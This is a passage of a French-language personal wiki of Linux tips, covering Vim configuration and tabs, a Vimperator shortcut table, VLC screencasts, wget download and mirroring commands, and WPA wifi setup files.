long as this copyright &amp; the author's names are included, unmodified in content, and so long as no charge beyond reasonable cost of reproduction is charged. Notwithstanding, inclusion in any other work or collection which is sold, rented, or otherwise charged for, is prohibited without express consent of the authors.
</html>
<<<
''Nom de l'application'': ''@@color(red): Vim @@''
Mots clef: éditeur, bash, ligne de commande
Liens: [[site officiel|http://www.vim.org/]]
<<<
''Description: ''Vim (Vi improved) est un éditeur de texte en ligne de commande... mais quel éditeur! Bien que nécessitant un apprentissage assez long (tout ce passe par raccourcis qui ne sont pas toujours très intuitifs), il offre des possibilités incroyable. Une description complète sur [[wikipedia|http://fr.wikipedia.org/wiki/Vim]]

''Installation: ''{{{# aptitude install vim-full}}}

''Utilisation: ''
*Tout d'abord, il s'agit de bien configurer vim pour, par exemple, activer la coloration syntaxique et l'historique. Editer le fichier //~/.vimrc// (ou ///etc/vim/vimrc//) et ajouter le contenu défini à la fin de ce tiddler.
{{{
set nocompatible
set history=50
set ruler
syn on
}}}
*Pour une première prise en main, vim-full inclus un fichier d'apprentissage. Pour le lancer: {{{$ vimtutor}}}
''Notes: ''
#Une introduction à vim [[ici|http://www.linux-france.org/article/appli/vi/vim/]] et pour une feuille de résumé des raccourcis [[ici|http://tnerual.eriogerg.free.fr/vim.html]] ou [[là|http://www.viemu.com/vi-vim-cheat-sheet.gif]]
# Idéal pour l'édition de fichier Latex (voir LatexVim)
#Quelques astuces vim: VimTabs, VimSplit
#Fichier vimrc ([[source|http://u-classroom.net/cours/logiciels/vim/]]):
{{{
"""""""""""""""""""""""""""""""""""""""""""""""""
" Fichier de configuration personel de vim   	"
" à sauvegarder dans ~/.vimrc 			"
"""""""""""""""""""""""""""""""""""""""""""""""""


""""""""""
" Options sympathiques
"""""""

" Enlève la compatibilité avec le "vieux vi"
set nocompatible

" Comportement « sympathique » de la touche backspace 
set backspace=2

" Historique
set history=50

" ?????
syn on

" Latex correction orthographe
augroup filetypedetect
au BufNewFile,BufRead *.tex setlocal spell spelllang=fr
augroup END


" Affiche la commande que vous êtes en train de taper, le mode en cours, et
" votre position dans le texte
set showcmd
set showmode
set ruler

" Utilisation de la souris :)
set mouse=a

" Une petite fenêtre pour voir les complétions possibles. Complétion avec ctrl+n ou ctrl+p
set wildmenu

" Chargement de matchit, installé mais non actif par défaut :
runtime! macro/matchit.vim

" Comportement amélioré de la touche J :
set nojoinspaces

" (il n'y a pas d'erreur, c'est bien NO joinspaces)

"""""""""
" Recherche
""""""""""

" Recherche insensible à la casse lorsque qu'auncune majuscule n'est utilisée.
" Les deux options suivantes sont nécéssaires.
set ignorecase
set smartcase
" Recherche incrémentielle
set incsearch 

" Colore les recherches en cours
set hlsearch


"""""""""""""""""""""""""""""""""""""""""""""""""""""""""
"            Réglages supplémentaires 			"
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""


" Une abréviation :
abbreviate gpoc gpocentek

"
" Deux mappings :
"

" 'cd' vers le chemin de la fenêtre en cours d'édition.
map ,cd :cd %:p:h<CR>

" Un mapping pour Python
imap fm from  import * <ESC>bbhi


" Une autocommande

" autocmd BufNewFile *.py 0r ~/.vim/skeleton.py
" autocmd BufNewFile *.py :3



"""""""""""
" Pour les codeurs
""""""""""

" Options sympathiques

" Coloration sytaxique
 syntax on

" Détection automatique du type de fichier
filetype plugin on

" Affiche les numéros des lignes
" set number

" Animation lors de la fermeture des parenthèses
set showmatch

"""""
" Autoindentation
""""

" Indentation intelligente
set smartindent

" Taille de l'indentation
set shiftwidth=4

" Comportement de <TAB> intelligent
set smarttab

" Pour les utilisateurs de python :
set expandtab

"""""
" Complétion
""""" 

au filetype python      set omnifunc=pythoncomplete#Complete


""""""""
" Pour le texte
"""""""

" Loungueur maximale des lignes

set textwidth=80
}}}
''Nom de l'application'': ''@@color(red): Vimperator @@''
Mots clef: extension firefox, addons, vim
Liens: [[site officiel| http://vimperator.org/trac/wiki/Vimperator ]]
<<<
''Description: ''Vimperator est une extension FireFox permettant d'obtenir une interface minimaliste et de naviguer en utilisant les mêmes raccourcis qu'avec l'éditeur vim. Vimperator permet d'effectuer toutes les opérations voulues en gardant constamment les mains sur le clavier.

''Installation: ''plugin disponible sur le [[site officiel| http://vimperator.org/trac/wiki/Vimperator ]]
Il est possible de retrouver le comportement de la awsome bar avec :
{{{
:set wildoptions=auto
:set cpt=l 
}}}
''Utilisation: ''[[source|http://vimfox.com/vimperator/cheatsheet.html]]
<html>
						<table class="lhs">
								<tbody><tr>
										<td class="s_title" colspan="3">
												General
										</td>
								</tr>
								<tr>
										<td class="operation">

Add Bookmarks												
										</td>
										<td class="shortcut">
			a
										</td>
										<td class="command">
:bmark
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">

Bookmarks
										</td>
										<td class="shortcut">
Ctrl+B
										</td>
										<td class="command">
:bmarks
										</td>
								</tr>
								<tr>
										<td class="operation">
Close Sidebar
										</td>

										<td class="shortcut">
										</td>
										<td class="command">
:sbcl
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
DOM Inspector
										</td>
										<td class="shortcut">

Ctrl+Sft+I
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>
										<td class="operation">
Downloads
										</td>
										<td class="shortcut">
										</td>

										<td class="command">
:dl
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Ful Screen View
										</td>
										<td class="shortcut">
										</td>
										<td class="command">

:fs
										</td>
								</tr>
								<tr>
										<td class="operation">
Help
										</td>
										<td class="shortcut">
&lt;F1&gt;
										</td>
										<td class="command">

:h
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Help on Ex mode
										</td>
										<td class="shortcut">
										</td>
										<td class="command">
:exu
										</td>

								</tr>
								<tr>
										<td class="operation">
Help on Normal Mode
										</td>
										<td class="shortcut">
										</td>
										<td class="command">
:viu
										</td>
								</tr>

								<tr class="tr2">
										<td class="operation">
History
										</td>
										<td class="shortcut">
										</td>
										<td class="command">
:hs
										</td>
								</tr>
								<tr>

										<td class="operation">
Open About:config
										</td>
										<td class="shortcut">
										</td>
										<td class="command">
:pref!
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">

Open Browser Option
										</td>
										<td class="shortcut">
										</td>
										<td class="command">
:pref
										</td>
								</tr>
								<tr>
										<td class="operation">
Open Sidebar
										</td>

										<td class="shortcut">
										</td>
										<td class="command">
:sb + [arg]
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Page Information
										</td>
										<td class="shortcut">

										</td>
										<td class="command">
:pa
										</td>
								</tr>
								<tr>
										<td class="operation">
Page Source
										</td>
										<td class="shortcut">
gf
										</td>

										<td class="command">
:vie
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Print
										</td>
										<td class="shortcut">
										</td>
										<td class="command">

:ha
										</td>
								</tr>
								<tr>
										<td class="operation">
Refresh Page
										</td>
										<td class="shortcut">
r
										</td>
										<td class="command">
:re
										</td>

								</tr>
								<tr class="tr2">
										<td class="operation">
Refresh Page &amp; Cashe
										</td>
										<td class="shortcut">
R
										</td>
										<td class="command">
:re!
										</td>

								</tr>
								<tr>
										<td class="operation">
Save Page As
										</td>
										<td class="shortcut">
										</td>
										<td class="command">
:w
										</td>
								</tr>

								<tr class="tr2">
										<td class="operation">
Show Add-ons
										</td>
										<td class="shortcut">
										</td>
										<td class="command">
:addo
										</td>
								</tr>
						</tbody></table>

						<table class="lhs2">
								<tbody><tr>
										<td class="s_title" colspan="3">
												Text 
										</td>
								</tr>
								<tr>
										<td class="operation">
												Copy
										</td>

										<td class="shortcut">
												Y
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Copy Current URL
										</td>

										<td class="shortcut">
												y
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>
										<td class="operation">
Delete
										</td>

										<td class="shortcut">
Del
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Text Size Decrease
										</td>
										<td class="shortcut">

zi
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>
										<td class="operation">
Text Sise Increase
										</td>
										<td class="shortcut">
zo
										</td>

										<td class="command">
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Text Sise Default
										</td>
										<td class="shortcut">
												zz
										</td>

										<td class="command">
										</td>
								</tr>
								<tr>
										<td class="operation">
Undo
										</td>
										<td class="shortcut">
Ctrl+z
										</td>
										<td class="command">

										</td>
								</tr>
						</tbody></table>
						<table class="lhs2">
								<tbody><tr>
										<td class="s_title" colspan="3">
												Search
										</td>
								</tr>

								<tr>
										<td class="operation">
Backward Selected word
										</td>
										<td class="shortcut">
												#
										</td>
										<td class="command">
										</td>
								</tr>

								<tr class="tr2">
										<td class="operation">
Find Again
										</td>
										<td class="shortcut">
												n
										</td>
										<td class="command">
										</td>
								</tr>

								<tr>
										<td class="operation">
Find as You Type Link
										</td>
										<td class="shortcut">
Ctrl+v→f
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">

										<td class="operation">
Find as You Type Text
										</td>
										<td class="shortcut">
Ctrl+v→/
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>
										<td class="operation">

Find Previous
										</td>
										<td class="shortcut">
												N
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">

Forward Selected Word
										</td>
										<td class="shortcut">
												*
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>
										<td class="operation">

Search Backward
										</td>
										<td class="shortcut">
												?
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">

Search Forward
										</td>
										<td class="shortcut">
												/
										</td>
										<td class="command">
										</td>
								</tr>
						</tbody></table>
						<table class="lhs2">

								<tbody><tr>
										<td class="s_title" colspan="3">
												Tab and Window
										</td>
								</tr>
								<tr>
										<td class="operation">
Close All Other Tabs
										</td>
										<td class="shortcut">

										</td>
										<td class="command">
												:tabo
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Delete Tab
										</td>
										<td class="shortcut">

												d, D
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>
										<td class="operation">
Execute in New Tab
										</td>
										<td class="shortcut">

										</td>
										<td class="command">
:tab [cmd]
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Move after the Tab N
										</td>
										<td class="shortcut">
										</td>

										<td class="command">
:tabm [num]
										</td>
								</tr>
								<tr>
										<td class="operation">
Move after Tab, Wraps
										</td>
										<td class="shortcut">
										</td>
										<td class="command">

:tabm! [num]
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Switch to Next Tab
										</td>
										<td class="shortcut">
												gt
										</td>
										<td class="command">

:tabn [count]
										</td>
								</tr>
								<tr>
										<td class="operation">
Switch to Previous Tab
										</td>
										<td class="shortcut">
												gT
										</td>
										<td class="command">

:tabp [count]
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Switch to the First Tab
										</td>
										<td class="shortcut">
										</td>
										<td class="command">
:tabr
										</td>

								</tr>
								<tr>
										<td class="operation">
Switch to the Last Tab
										</td>
										<td class="shortcut">
										</td>
										<td class="command">
:tabl
										</td>
								</tr>

								<tr class="tr2">
										<td class="operation">
Tab Close
										</td>
										<td class="shortcut">
										</td>
										<td class="command">
												:bd
										</td>
								</tr>

								<tr>
										<td class="operation">
Tab Next
										</td>
										<td class="shortcut">
Ctrl+n,Ctrl+Tab
										</td>
										<td class="command">
:tn
										</td>
								</tr>
								<tr class="tr2">

										<td class="operation">
Tab Open
										</td>
										<td class="shortcut">
												t
										</td>
										<td class="command">
												:t
										</td>
								</tr>
								<tr>

										<td class="operation">
Tab Previous
										</td>
										<td class="shortcut">
Ctrl+Sft+Tab
										</td>
										<td class="command">
:tp
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">

Undo Closing All Tabs
										</td>
										<td class="shortcut">
										</td>
										<td class="command">
:undoa
										</td>
								</tr>
								<tr>
										<td class="operation">
Undo Closing Tab
										</td>

										<td class="shortcut">
												u
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Window Close
										</td>

										<td class="shortcut">
										</td>
										<td class="command">
:wc
										</td>
								</tr>
								<tr>
										<td class="operation">
Window New
										</td>
										<td class="shortcut">

										</td>
										<td class="command">
:wino
										</td>
								</tr>
						</tbody></table>
				</div>
				<div id="sheet_honbun_r">
						<table class="rhs">
								<tbody><tr>

										<td class="s_title" colspan="3">
												Navigation
										</td>
								</tr>
								<tr>
										<td class="operation">
Back
										</td>
										<td class="shortcut">
Ctrl+o, H
										</td>

										<td class="command">
:ba
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Down One Line
										</td>
										<td class="shortcut">
j, Ctrl+e
										</td>
										<td class="command">

										</td>
								</tr>
								<tr>
										<td class="operation">
Down One Page
										</td>
										<td class="shortcut">
Ctrl+f, Sp
										</td>
										<td class="command">
										</td>

								</tr>
								<tr class="tr2">
										<td class="operation">
File Open
										</td>
										<td class="shortcut">
										</td>
										<td class="command">
:dia openfile
										</td>
								</tr>

								<tr>
										<td class="operation">
Forward
										</td>
										<td class="shortcut">
Ctrl+i, L
										</td>
										<td class="command">
:fw, :fo
										</td>
								</tr>
								<tr class="tr2">

										<td class="operation">
Frame Next
										</td>
										<td class="shortcut">
]f
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>
										<td class="operation">

Frame Previous
										</td>
										<td class="shortcut">
[f
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Home Page
										</td>

										<td class="shortcut">
gh
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>
										<td class="operation">
Jump to Address Bar
										</td>
										<td class="shortcut">

Ctrl+L
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Jump to Address Search Bar
										</td>
										<td class="shortcut">
o
										</td>

										<td class="command">
:o
										</td>
								</tr>
								<tr>
										<td class="operation">
jump to Input field
										</td>
										<td class="shortcut">
gi
										</td>
										<td class="command">

										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Next Page Link
										</td>
										<td class="shortcut">
]]
										</td>
										<td class="command">
										</td>

								</tr>
								<tr>
										<td class="operation">
Page Bottom
										</td>
										<td class="shortcut">
G
										</td>
										<td class="command">
										</td>
								</tr>

								<tr class="tr2">
										<td class="operation">
Page Top
										</td>
										<td class="shortcut">
gg
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>

										<td class="operation">
Parent Directory
										</td>
										<td class="shortcut">
gu
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">

Previous Page Link
										</td>
										<td class="shortcut">
[[
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>
										<td class="operation">
Root of website
										</td>

										<td class="shortcut">
gu
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Scroll Left
										</td>
										<td class="shortcut">

h
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>
										<td class="operation">
Scroll Right
										</td>
										<td class="shortcut">
l
										</td>

										<td class="command">
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Stop
										</td>
										<td class="shortcut">
Ctrl+c
										</td>
										<td class="command">

:st
										</td>
								</tr>
								<tr>
										<td class="operation">
Up One Line
										</td>
										<td class="shortcut">
k, Ctrl+y
										</td>
										<td class="command">
										</td>

								</tr>
								<tr class="tr2">
										<td class="operation">
Up One Page
										</td>
										<td class="shortcut">
Ctrl+b, Sft+Sp
										</td>
										<td class="command">
										</td>
								</tr>

						</tbody></table>
						<table class="rhs2">
								<tbody><tr>
										<td class="s_title" colspan="3">
												Hints
										</td>
								</tr>
								<tr>
										<td class="operation">

Focus &amp; Hover a Link
										</td>
										<td class="shortcut">
												;;
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">

										<td class="operation">
Open in :tabopen
										</td>
										<td class="shortcut">
												;T
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>

										<td class="operation">
Open in :winopen
										</td>
										<td class="shortcut">
												;W
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">

										<td class="operation">
Open in a New Tab
										</td>
										<td class="shortcut">
											;t	
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>

										<td class="operation">
Open in :open query												
										</td>
										<td class="shortcut">
												;O
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">

										<td class="operation">
Open in Current Tab
										</td>
										<td class="shortcut">
												;f
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>

										<td class="operation">
Open in Current Tab
										</td>
										<td class="shortcut">
												;o
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">

										<td class="operation">
Prompt Save Location
										</td>
										<td class="shortcut">
												;a
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>

										<td class="operation">
Quick Hint Mode
										</td>
										<td class="shortcut">
												f
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">

										<td class="operation">
Quick Hint New Tab
										</td>
										<td class="shortcut">
												F
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>

										<td class="operation">
Save destination
										</td>
										<td class="shortcut">
												;s
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">

										<td class="operation">
View Destination Source
										</td>
										<td class="shortcut">
												;v
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>

										<td class="operation">
Yank location
										</td>
										<td class="shortcut">
												;y
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">

										<td class="operation">
Yank Text
										</td>
										<td class="shortcut">
												;Y
										</td>
										<td class="command">
										</td>
								</tr>
						</tbody></table>

						<table class="rhs2">
								<tbody><tr>
										<td class="s_title" colspan="3">
												Restart and Quit
										</td>
								</tr>
								<tr>
										<td class="operation">
Quit &amp; Save Session
										</td>

										<td class="shortcut">
												ZZ
										</td>
										<td class="command">
:xa, :wq
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Quit Current Tab
										</td>

										<td class="shortcut">
										</td>
										<td class="command">
												:q
										</td>
								</tr>
								<tr>
										<td class="operation">
Quit Firefox
										</td>

										<td class="shortcut">
										</td>
										<td class="command">
												:qa
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Restart Firefox
										</td>

										<td class="shortcut">
										</td>
										<td class="command">
												:res
										</td>
								</tr>
								<tr>
										<td class="operation">
										</td>

										<td class="shortcut">
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
										</td>
										<td class="shortcut">

										</td>
										<td class="command">
										</td>
								</tr>
								<tr>
										<td class="operation">
										</td>
										<td class="shortcut">
										</td>

										<td class="command">
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
										</td>
										<td class="shortcut">
										</td>
										<td class="command">

										</td>
								</tr>
						</tbody></table>
						<table class="rhs2">
								<tbody><tr>
										<td class="s_title" colspan="3">
												Tips and Tricks
										</td>
								</tr>

								<tr>
										<td class="operation">
Disable Vimp.
										</td>
										<td class="shortcut">
Ctrl+q
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">

										<td class="operation">
Disable a Vimp.'s Key 
										</td>
										<td class="shortcut">
Ctrl+v
										</td>
										<td class="command">
										</td>
								</tr>
								<tr>
										<td class="operation">

Focus Content
										</td>
										<td class="shortcut">
												Esc
										</td>
										<td class="command">
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">

Open Firefox Dialogue
										</td>
										<td class="shortcut">
										</td>
										<td class="command">
												:dialog
										</td>
								</tr>
								<tr>
										<td class="operation">

Play Macro
										</td>
										<td class="shortcut">
												@
										</td>
										<td class="command">
:play
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">

Show all Options
										</td>
										<td class="shortcut">
										</td>
										<td class="command">
:se all
										</td>
								</tr>
								<tr>
										<td class="operation">
Show Differ from Default
										</td>

										<td class="shortcut">
										</td>
										<td class="command">
:se
										</td>
								</tr>
								<tr class="tr2">
										<td class="operation">
Show Version
										</td>
										<td class="shortcut">

										</td>
										<td class="command">
:ve[!]
										</td>
								</tr>
								<tr>
										<td class="operation">
Start/Stop Record Macro
										</td>
										<td class="shortcut">
												q
										</td>

										<td class="command">
										</td>
								</tr>
						</tbody></table>

</html>
Astuce: ''Permet de partager l'écran de ViM afin de permettre la vue est l'édition simultanée de plusieurs fichiers''
Mots clef: vim
Os: Linux
Liens: [[source| http://jmcpherson.org/windows.html ]]
<<<
''Ouvrir une vue partagée''
La commande {{{:sp leFichier}}} partage l'écran horizontalement et ouvre le fichier dans une nouvelle partie de l'écran.
La commande {{{:vsp leFichier}}} permet un partage vertical.

''Gestion des vues''
Afin de passer d'un fichier à un autre ou de redimensionner la taille des vues, les commandes suivantes peuvent être utilisées. Toutes les commandes sont du type:
CTRL+w+ (touche CTRL de droite)
{{{rien}}} pour passer à la vue suivante
{{{k}}} ou {{{Up}}} pour déplacer la vue vers le haut
{{{j}}} ou {{{Down}}} pour déplacer la vue vers le bas
{{{+}}} pour augmenter la taille d'une vue 
{{{-}}} pour diminuer la taille d'une vue.
{{{_}}} pour maximiser une vue.

''Sauver et quitter''
Chaque vue réagit comme une cession à part entière de vim. Ainsi {{{:w}}} et {{{:q}}} agiront sur la vue en court. Pour appliquer ces commandes à toutes les vues en même temps: {{{:wa}}} pour tout sauver, :{{{qa}}} pour tout quitter.

Pour plus d'info (surtout pour des raccourcis supplémentaires), voir la [[source| http://jmcpherson.org/windows.html ]].
Astuce: ''Ajouter la gestion des onglets à ViM''
Mots clef: vim
Os: Linux
Liens: [[source| http://www.linux.com/feature/59533 ]]
<<<
Il s'agit d'une fonction qui est disponible depuis vim 7.0.

''Ouverture d'un nouvel onglet:''
La commande {{{:tabnew}}} permet l'ouverture d'un nouvel onglet dans le mode normal.
La commande {{{:tabnew monFichier}}} permet l'ouverture d'un fichier dans un nouvel onglet.

L'option {{{-p}}} permet de gérer, lors du lancement de vim, l'ouverture de plusieurs fichiers dans différents onglets: {{{$ vim -p fichier1 fichier2 fichier3}}}
Par défaut, vim permet l'ouverture d'au maximum 10 onglets. Pour augmenter ce nombre, l'on peut ajouter {{{set tabpagemax=15}}} dans le fichier //.vimrc//.

''Commandes relatives aux fichiers:''
{{{:tabf}}} permet la recherche d'un fichier dans le dossier courant et son ouverture dans un nouvel onglet. Pour, par exemple, ouvrir le fichier jesuistroloncomfichier.txt on peut utiliser {{{:tabf jesuis*}}}. Si un seul fichier commence par {{{jesuis}}} alors se dernier sera ouvert automatiquement, sinon vim se pleindra. 

{{{:tabn}}} permet l'ouverture avec auto-complétion sur le nom du fichier avec la touche Tab.

''Déplacement entre les onglets:''
{{{:tabn}}} ou {{{:next}}} et {{{:tabp}}} permettent également de passer à l'onglet précédent (respectivement suivant).
{{{:tabfirst}}} ou {{{tabfir}}} permet de passer au premier onglet, {{{:tablast}}} ou {{{:last}}} au dernier onglet.

On peut montrer en permanance les onglets avec l'option {{{set showtabline=2}}} dans //.vimrc//. (Pour désactiver, choisir 0 à la place de 2}}}. Cette option ne supprime pas les onglets, ils ne sont simplement pas affichés. {{{:tabs}}} permet alors d'optenir un résumé des onglets actuellement ouverts.
Il est possible de paramétrer les raccourcis des onglets dans le fichier //.vimrc// en ajoutant, par exemple: {{{imap ,t <Esc>:tabnew<CR>}}}. afin d'ajouter le mapage {{{t}}} en mode //insertion//

''Organisation des onglets''
{{{:tabm n}}} permet de placer l'onglet actuel en n-ième position. Notons que le premier onglet est numéroté 0 et que {{{:tabm}}} déplacera l'onglet courrant en dernière position.

''Commandes via les onglets''
Il est également possible d'effectuer des commandes pour, par exemple, faire un remplacement dans tous les fichiers ouverts dans les onglets:
{{{:tabdo %s/phaute/faute/g}}} remplacera le mot phaute par faute dans tous les fichiers ouvers.

Pour plus d'information sur les onglets {{{:help tab-page-intro}}}
''Nom de l'application'': ''@@color(red): vimtutor @@''
Mots clef: bash, bureautique, éditeur, tutoriel
<<<
''Description: ''Vimtutor est un petit tutoriel qui permet de maîtriser la base de l'édition avec vim en, paraît-il, 30 minutes. Simple et efficace !

''Installation: ''{{{# aptitude install vim-full}}}

''Notes: ''pour le lancer, simplement {{{$ vimtutor}}}
''Nom de l'application'': ''@@color(red): Vlc @@''
Mots clef: audio, vidéo, mp3, avi, divx
<<<
''Description: ''Lecteur multimédia auquel peu de fichiers résistant. Il permet même d'être utilisé comme serveur ou comme convertisseur.

''Installation: ''{{{# aptitude install vlc}}}

''Notes: ''
#vlc permet également de faire des screencast, c'est-à-dire des copies d'écran sous forme de vidéos, voir VlcScreenCast 
#vlc contient également un lecteur audio en ligne de commande avec: {{{$ vlc -I ncurses /media/mp3/maMusique}}}
#Pour une utilisation avancée de vlc en ligne de commande, voir [[ici|http://www.videolan.org/doc/play-howto/fr/ch04.html]].
Astuce: ''Faire des screencast à l'aide de VlC''
Mots clef: vidéo, capture d'écran, screencast
Os: Tous
Liens: [[source|http://daria.servhome.org/2007/08/22/faire-des-screencasts-avec-vlc/]]
<<<
''Méthode:''
*Lancer vlc grâce à {{{$ wxvlc screen://}}}
*Aller dans //Fichier > Assistant de Diffusion// et choisir //Transcoder/Sauvegarder//
*Dans //Element de la piste de lecture// on choisit //screen://
*Choisir ensuite le format vidéo (et audio)
*Choisir le fichier où enregistrer la vidéo puis //finish//
Dès ce moment, l'enregistrement de votre bureau commence

''Note: '' 
#Une autre méthode avec VLC par la même source [[ici|http://daria.servhome.org/2007/09/17/faire-des-screencasts-avec-vlc-sous-windows-et-sous-ubuntu/]]
#Alternative: IstanBul (enregistrer en format .mpeg),  GtkRecordMyDesktop (enregistrer en format .ogg), ByZanz (enregistrer en format .gif animé) et encore XvidCap (enregistrer en format .avi).
#Un [[lien|http://www.linuxhaxor.net/2008/05/20/5-ways-to-screencast-your-linux-desktop/]] vers 5 méthodes de screencast en anglais.
''Nom de l'application'': ''@@color(red): Vrms @@''
Mots clef: utilitaire, comic, gpl
<<<
''Description: '' Le but de vrms (Virtual Richard M. Stallman) est d'analyser l'ensemble des paquets installés sur le système et de lister ceux qui ne respectent pas la licence GPL.
 
''Installation: ''{{{# aptitude install vrms}}}
''Nom de l'application'': ''@@color(red): Vym @@''
Mots clef:mind-mapping, organisation
<<<
''Description: ''Vym pour View Your Mind est un logiciel de "mind mapping" dans le style de KDissert. Permet donc la stucturation de ses pensées de manière pratique à l'aide de schémas (pour la création de dissertations, thèse, plans terroristes, etc).

''Installation: ''[[via apt|apt://vym]]
''Nom de l'application'': ''@@color(red): Wget @@''
Mots clef: internet
Liens: [[source| http://taltan.free.fr/index/2006/04/16/17-utilisation-courante-de-wget ]]
<<<
''Description: ''wget, tout comme CurL, permet de télecharger une page web en ligne de commande via les protocoles HTTP, HTTPS ou FTP.

''Installation: ''déjà installé en général

''Utilisation: ''

''Télécharger un fichier:''
{{{
$ wget url_du_fichier_à_télécharger
}}}
''Aspirer un site:''
{{{
$ wget -rkpE http://XXXXXX.net
}}}
Il est aussi possible d'utiliser
{{{
$ wget -np -r URL (capture récursive sans remonter)
$ wget -m URL (récupère en mode miroir)
$ wget -l=2 (niveau de récursivité égal a deux)
$ wget -c ftp://suite_de_l_URL (pour une reprise possible du téléchargement en cas de plantage)
}}}
''Aspirer tous les fichiers d'un site d'une extension particuliére:''
{{{
$ wget -r -l1 –no-parent -A.ram http://XXXX ( pour les fichier .ram)
$ wget -r -l1 –no-parent -A.mp3 http://XXXX (pour les fichier .mp3)....
}}}
''Télécharger les URL listées dans un fichier TXT ( Attention une URL par ligne, rien d'autre):''
{{{
$ wget –input-file=fichier.txt
}}}
ou
{{{
$ wget -i fichier1.txt fichier2.txt
}}}
''Télécharger à travers un proxy:''
{{{
$ export http_proxy=http://URL:8080
$ export ftp_proxy=http://URL:8080
$ wget URL
}}}
et pour éliminer le proxy:
{{{
$ unset -v http_proxy ftp_proxy
}}}
''Mettre un téléchargement en pause:''
{{{Ctrl-Z}}}
''Notes: '
#Pour intégrer un gestionnaire de télechargement à KonQueror ou FireFox, voir KGet
#Pour un aspirateur de site, voir HTTrack
Astuce: ''Configurer l'accès wifi avec chiffrage wpa''
Mots clef: sécurité, réseau
Os: Ubuntu Dapper
Liens: [[source| http://www.grafactory.net/blog/2006/08/07/132-le-wpa-en-5-minutes-sous-ubuntu-dapper ]]
<<<
* Méthode 1
Configurer simplement votre interface réseau (ici eth1) dans le fichier ///etc/network/interfaces// de la manière suivante:
{{{
auto eth1
iface eth1 inet dhcp
    wpa-driver your_driver_name
    wpa-ssid name_of_my_ssid
    wpa-key-mgmt WPA-PSK
    wpa-psk monMotDePasse
}}}
Remarque: au lieu de dhcp, vous pouvez également configurer une adresse statique.

*méthode 2 (plus "propre")
Editer le fichier ///etc/network/interfaces// de la manière suivante:
{{{
auto eth1
iface eth1 inet dhcp
    wpa-conf /etc/wpa_supplicant.conf
    wpa-driver nomDeVotreDriver
}}}
Ensuite créez le fichier suivant: ///etc/wpa_supplicant.conf// contenant:
{{{
# WiFi network config

# pid path
ctrl_interface=/var/run/wpa_supplicant

# Group that may activate connexion
ctrl_interface_group=0

# common config
eapol_version=1
ap_scan=1
fast_reauth=1

# at home
network={
    ssid=name_of_my_ssid
    scan_ssid=1
    proto=WPA
    key_mgmt=WPA-PSK
    psk="ma_passphrase_in_clear"
}

# at work
network={
    ssid="ssid_at_wprk"
    scan_ssid=1
    proto=WPA
    key_mgmt=WPA-PSK
    psk=monMotDePasse
}

# public acces point (not tested)
network={
    ssid=""
    key_mgmt=NONE
}

# with WEP (not tested !)
network={
        ssid="essid_of_wep_crypted_wifi_network"
        key_mgmt=NONE
        wep_key0="abcde"
        wep_key1=0102030405
        wep_tx_keyidx=0
}
}}}

Thanks Mike for the link.
<<<
''Nom de l'application'': ''@@color(red): Wajig @@''
Mots clef: système, apt, administration
<<<
